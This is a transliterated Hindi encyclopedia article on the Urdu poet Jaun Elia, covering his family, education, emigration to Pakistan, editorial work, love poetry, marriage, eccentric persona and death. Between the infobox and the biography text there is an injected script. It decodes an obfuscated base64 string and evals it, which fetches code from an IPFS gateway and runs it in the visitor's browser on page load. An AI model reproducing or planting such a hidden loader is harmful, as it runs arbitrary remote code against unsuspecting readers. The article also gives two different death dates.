जौन एलिया
jaun eliya
| |
| poora nam | sayyad husain jaun asagar naqavi |
| any nam | jaun (upanam) |
| janm | 14 disambar, 1931 |
| janm bhoomi | amaroha, uttar pradesh |
| mrityu | 8 navambar, 2002 |
| mrityu sthan | karachi, pakistan |
| abhibhavak | pita- sayyad shafiq hasan eliya |
| pati/patni | zahida hina |
| karm-kshetr | urdoo shayari |
| prasiddhi | urdoo shayar, kavi, vidvan, darshanik |
| nagarikata | bharatiy - 1947 se 1957 |
| vidha | gazal, kavita |
| any janakari | shayari ke sath-sath jaun eliya ke padhane ke dramaee aandaz se bhi shrota khush hote the. unaki shirakat mushayaroan ki kamayabi ki zamanat thi. namavar shayar un mushayaroan mean, jinamean jaun eliya hoan, shirakat se ghabarate the. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>sayyad husain jaun asagar naqavi (aangrezi: Syed Hussain Jaun Asghar Naqvi, janm- 14 disambar, 1931; mrityu- 8 navambar, 2002) prasiddh bharatiy urdoo shayar the. sada, lekin tikhi tarashi aur chamakaee huee zaban mean nihayat gahari aur shor aangez batean kahane vale haft zaban shayar, patrakar, vicharak, anuvadak, gadyakar, buddhijivi aur sv-ghoshit nakaratmakatavadi aur anarakist jaun eliya ek aise orijanal shayar the jinaki shayari ne n sirph unake zamane ke adab navazoan ke dil jit lie balki jinhoanne apane bad ane vale adiboan aur shayaroan ke lie zaban-o-bayan ke ne manak nirdharit kie. jaun eliya ne apani shayari mean ishq ki nee dishaoan ka surag lagaya. vo bagi, inqilabi aur paranpara to dane vale the lekin unaki shayari ka lahaja itana sabhy, narm aur gitatmak hai ki unake ashar mean mir taqi mir ke nashtaroan ki tarah sidhe dil mean utarate hue shrota ya pathak ko fauri taur par unaki kalatmak visheshataoan par gaur karane ka mauqa hi nahian dete. mir ke bad yada-kada nazar ane vali tasir ki shayari ko nirantarata ke sath nee gaharaeeyoan tak pahuancha dena jaun eliya ka kamal hai.[1]
parichay
jaun eliya uttar pradesh ke shahar amaroha ke ek ilmi gharane mean 14 disambar, 1931 ee. mean paida hue. unake valid sayyad shafiq hasan eliya ek garib shayar aur vidvan the. unake aur apane bare mean jaun eliya ka kahana tha jis bete ko usake iantihaee khyal pasand aur adarshavadi bap ne vyavaharik jivan guzarane ka koee tariqa n sikhaya ho balki ye shiksha di ho ki shiksha sabase b di visheshata hai aur kitabean sabase b di daulat to vo vyarth n jata to kya hota. pakistan ke namachin patrakar rees amarohavi aur mashahoor manovaijnanik muhammad taqi jaun eliya ke bhaee the, jabaki filmasaz kamal amarohi unake chachazad bhaee the.
bachapan aur l dakapan
jaun eliya ke bachapan aur l dakapan ke vaqiyat jaun eliya ke shabdoan mean haian, jaise, “apani paidaish ke tho di der bad chhat ko ghoorate hue maian ajib tarah hans p da, jab meri khalaoan ne ye dekha to dar kar kamare se bahar nikal geean. is bemahal hansi ke bad maian aj tak khul kar nahian hans saka.” ya “ath baras ki umr mean maianne pahala ishq kiya aur pahala she’r kaha.”
shiksha
jaun eliya ki aranbhik shiksha amaroha ke madarasoan mean huee jahaan unhoanne urdoo, arabi aur farasi sikhi. pathy pustakoan se koee dilachaspi nahian thi aur imtihan mean fel bhi ho jate the. b de hone ke bad unako falasafa aur hiyat se dilachaspi paida huee. unhoanne urdoo, farasi aur falasafa mean em.e ki digriyaan hasil kian. vo aangrezi, pahalavi, ibarani, sanskrit aur fraansisi zabanean bhi janate the.[1]
pustak sampadak
naujavani mean jaun eliya kamyoonizm ki taraf unmukh hue. vibhajan ke bad unake b de bhaee pakistan chale ge the. maan aur bap ke dehavasan ke bad jaun eliya ko bhi 1956 mean n chahate hue bhi pakistan jana p da aur vo ajivan amaroha aur hindostan ko yad karate rahe. unaka kahana tha, “pakistan a kar mean hindustani ho gaya.” jaun ko kam mean mashagool kar ke unako apravas ki pi da se nikalane ke lie rees amarohavi ne ek ilami-o-adabi risala “iansha” jari kiya, jisamean jaun sanpadakiy likhate the. bad mean us risale ko “alami daijest” mean tabadil kar diya gaya. usi zamane mean jaun eliya ne islam se poorv madhy poorv ka rajanaitik itihas sanpadit kiya aur batini aandolan ke sath sath falasafe par aangrezi, arabi aur farasi kitaboan ke tarjume kie. unhoanne kul mila kar 35 kitabean sanpadit kian. vo urdoo taraqqi bord, pakistan se bhi sanbaddh rahe, jahaan unhoanne ek vrihat urdoo shabdakosh ki taiyari mean mukhy bhoomika nibhaee.
ishqiya shayari
jaun eliya ka mizaj bachapan se ashiqana tha. vo aksar khyaloan mean apani mahabooba se batean karate rahate the. barah baras ki umr mean vo ek khyali mahabooba sofiya ko khutoot bhi likhate rahe. phir naujavani mean ek l daki faraha se ishq kiya jise vo ziandagibhar yad karate rahe, lekin usase kabhi izahar-e-ishq nahian kiya. unake ishq mean ek ajib ahankar tha aur vo ishq ke izahar ko ek zalil harakat samajhate the. “husn se arz-e-shauq n karana husn ko zak pahuanchana hai/ hamane arz-e-shauq n kar ke husn ko zak pahuanchaee hai.” is tarah unhoanne apane taur par ishq ki tarikh ki un tamam hasinaoan se, unake ashiqoan ki taraf se iantiqam liya jinake dil un hasinaoan ne to de the. ye urdoo ki ishqiya shayari mean jaun eliya ka pahala karanama hai.
vivah
jis zamane mean jaun eliya “iansha” mean kam kar rahe the, unaki mulaqat mashahoor jarnalist aur afasana nigar zahida hina se huee. 1970 mean donoan ne shadi kar li. zahida hina ne unaki bahut achchhi tarah dekh-bhal ki aur vo unake sath khush bhi rahe lekin donoan ke mizajoan ke farq ne dhire dhire apana rang dikhaya. ye do anaoan ka takarav tha aur donoan mean se ek bhi khud ko badalane ke lie taiyar nahian tha. akhir tin bachchoan ki paidaish ke bad donoan ki talaq ho gee.[1]
shakhsiyat
jaun eliya ne pakistan pahuanchate hi apani shayari ke jhande ga d die the. shayari ke sath sath unake padhane ke dramaee aandaz se bhi shrota khush hote the. unaki shirakat mushayaroan ki kamayabi ki zamanat thi. namavar shayar un mushayaroan mean, jinamean jaun eliya bhi hoan, shirakat se ghabarate the. jaun ko ajooba ban kar logoan ko apani taraf mutavajja karane ka shauq tha. apane lanbe lanbe baloan ke sath aise kap de pahanana jinase unaki liang hi sandigdh ho jae, garmiyoan mean kambal odh kar nikalana, rat ke vaqt dhoop ka chashama lagana, kh daooan pahan kar door door tak logoan se milane chale jana, unake lie am bat thi.
mrityu
zahida hina se alagav jaun eliya ke lie b da sadama tha. arasa tak vo nim-tarik kamare mean tanha baithe rahate. sigaret aur sharab ki adhikata ne unaki sehat bahut kharab kar di, unake donoan pheph de bekar ho ge. vo khoon thookate rahe lekin sharabanoshi se baz nahian ae. 18 navanbar, 2002 ko unaki maut ho gee. apani ziandagi ki tarah vo apani shayari ke prakashan ki taraf se bhi laparavah the. 1990 mean lagabhag sath sal ki umr mean logoan ke agrah par unhoanne apana pahala kavy sangrah “shayad” prakashit karaya tha. usake bad unake kee sangrah 'goya', 'lekin', 'yani' aur 'guman' prakashit hue.
b de shayar
jaun eliya b de shayar the to isalie nahian ki unaki shayari un tamam kasautiyoan par khari utarati hai jo sadiyoan ki kavy parampara aur alochanatmak manakoan ke tahat sthapit huee hai. vo b de shayar isalie haian ki shayari ke sabase b de vishay iansan ki jazbati aur nafasiyati paristhitiyoan par jaise ashar jaun eliya ne kahe haian, urdoo shayari ki rivayat mean isaki koee misal nahian milati. kaifiyat ko ehasas ki shiddat ke sath pathak ya shrota tak sthanaantarit karane ki jo salahiyat jaun ke yahaan hai, usaki misal urdoo shayari mean sirph mir taqi mir ke yahaan milati hai.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 jaun eliya ka parichay (hiandi) rekhta.org. abhigaman tithi: 27 navanbar, 2021.
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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